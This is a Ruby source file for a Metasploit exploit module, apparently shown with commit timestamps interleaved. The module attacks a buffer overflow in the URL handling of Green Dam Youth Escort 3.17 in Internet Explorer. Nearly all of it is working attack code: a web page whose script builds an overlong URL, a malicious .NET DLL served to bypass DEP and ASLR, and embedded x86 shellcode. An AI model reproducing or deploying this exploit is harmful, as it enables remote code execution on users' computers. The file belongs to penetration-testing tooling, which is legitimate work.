2009-06-18 01:54:15 +00:00
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##
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# greendam_url.rb
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#
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# Green Dam URL Processing Buffer Overflow exploit for the Metasploit Framework
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#
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# Green Dam Youth Escort 3.17 successfully exploited on the following platforms:
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# - Internet Explorer 6, Windows XP SP2
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# - Internet Explorer 7, Windows XP SP3
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# - Internet Explorer 7, Windows Vista SP1
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#
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# .NET binary is used to bypass DEP and ASLR
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#
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# Trancer
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# http://www.rec-sec.com
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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2009-12-08 21:24:45 +00:00
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Rank = NormalRanking
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2009-06-18 01:54:15 +00:00
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include Msf::Exploit::Remote::HttpServer::HTML
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Green Dam URL Processing Buffer Overflow',
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'Description' => %q{
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This module exploits a stack-based buffer overflow in Green Dam Youth Escort
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version 3.17 in the way it handles overly long URLs.
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By setting an overly long URL, an attacker can overrun a buffer and execute
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arbitrary code. This module uses the .NET DLL memory technique by Alexander
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Sotirov and Mark Dowd and should bypass DEP, NX and ASLR.
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},
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'License' => MSF_LICENSE,
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'Author' => [ 'Trancer <mtrancer[at]gmail.com>' ],
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'Version' => '$Revision$',
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'References' =>
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[
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2009-07-16 16:02:24 +00:00
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['OSVDB', '55126'],
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2009-06-18 01:54:15 +00:00
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['URL', 'http://www.cse.umich.edu/~jhalderm/pub/gd/'], # Analysis of the Green Dam Censorware System
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['URL', 'http://www.milw0rm.com/exploits/8938'], # Original exploit by seer[N.N.U]
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['URL', 'http://taossa.com/archive/bh08sotirovdowd.pdf'], # .NET DLL memory technique
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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},
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'Payload' =>
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{
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'Space' => 1000,
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'BadChars' => "\x00",
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'Compat' =>
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{
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'ConnectionType' => '-find',
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},
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'StackAdjustment' => -3500,
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# Temporary stub virtualalloc() + memcpy() payload to RWX page
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'PrependEncoder' =>
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"\xe8\x56\x00\x00\x00\x53\x55\x56\x57\x8b\x6c\x24\x18\x8b\x45\x3c"+
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"\x8b\x54\x05\x78\x01\xea\x8b\x4a\x18\x8b\x5a\x20\x01\xeb\xe3\x32"+
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"\x49\x8b\x34\x8b\x01\xee\x31\xff\xfc\x31\xc0\xac\x38\xe0\x74\x07"+
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"\xc1\xcf\x0d\x01\xc7\xeb\xf2\x3b\x7c\x24\x14\x75\xe1\x8b\x5a\x24"+
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"\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a\x1c\x01\xeb\x8b\x04\x8b\x01\xe8"+
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"\xeb\x02\x31\xc0\x5f\x5e\x5d\x5b\xc2\x08\x00\x5e\x6a\x30\x59\x64"+
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"\x8b\x19\x8b\x5b\x0c\x8b\x5b\x1c\x8b\x1b\x8b\x5b\x08\x53\x68\x54"+
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"\xca\xaf\x91\xff\xd6\x6a\x40\x5e\x56\xc1\xe6\x06\x56\xc1\xe6\x08"+
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"\x56\x6a\x00\xff\xd0\x89\xc3\xeb\x0d\x5e\x89\xdf\xb9\xe8\x03\x00"+
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"\x00\xfc\xf3\xa4\xff\xe3\xe8\xee\xff\xff\xff"
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Windows XP SP0-SP3 / Windows Vista SP0-SP1 / IE 6.0 SP0-2 & IE 7.0', { }],
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],
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'DisclosureDate' => 'Jun 11 2009',
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'DefaultTarget' => 0))
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end
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def on_request_uri(cli, request)
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ibase = 0x24240000
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vaddr = ibase + 0x2065
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if (request.uri.match(/\.dll$/i))
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print_status("Sending DLL to #{cli.peerhost}:#{cli.peerport}...")
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return if ((p = regenerate_payload(cli)) == nil)
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# First entry points to the table of pointers
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vtable = [ vaddr + 4 ].pack("V")
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cbase = ibase + 0x2065 + (256 * 4)
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# Build a function table
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255.times { vtable << [cbase].pack("V") }
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# Append the shellcode
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vtable << p.encoded
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send_response(
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cli,
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2009-12-08 21:24:45 +00:00
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Msf::Util::EXE.to_dotnetmem(ibase, vtable),
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2009-06-18 01:54:15 +00:00
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{
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'Content-Type' => 'application/x-msdownload',
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'Connection' => 'close',
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'Pragma' => 'no-cache'
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}
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)
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return
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end
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print_status("Sending HTML to #{cli.peerhost}:#{cli.peerport}...")
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j_function = rand_text_alpha(rand(100)+1)
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j_url = rand_text_alpha(rand(100)+1)
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j_counter = rand_text_alpha(rand(30)+2)
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2009-11-25 17:16:45 +00:00
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if ("/" == get_resource[-1,1])
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2009-11-24 06:02:21 +00:00
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dll_uri = get_resource[0, get_resource.length - 1]
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else
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dll_uri = get_resource
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end
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dll_uri << "/generic-" + Time.now.to_i.to_s + ".dll"
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2009-06-18 01:54:15 +00:00
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html = %Q|<html>
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<head>
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<script language="javascript">
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function #{j_function}() {
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var #{j_url}='';
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for(var #{j_counter}=1;#{j_counter}<=2035;#{j_counter}++)
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#{j_url}+='$';
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window.location=#{j_url}+'.html';
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}
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</script>
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</head>
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<body onload="#{j_function}()">
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2009-11-24 06:02:21 +00:00
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<object classid="#{dll_uri}#GenericControl">
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2009-06-18 01:54:15 +00:00
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<object>
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</body>
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</html>
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# Transmit the compressed response to the client
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send_response(cli, html, { 'Content-Type' => 'text/html' })
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# Handle the payload
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handler(cli)
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end
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2009-07-16 16:02:24 +00:00
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end
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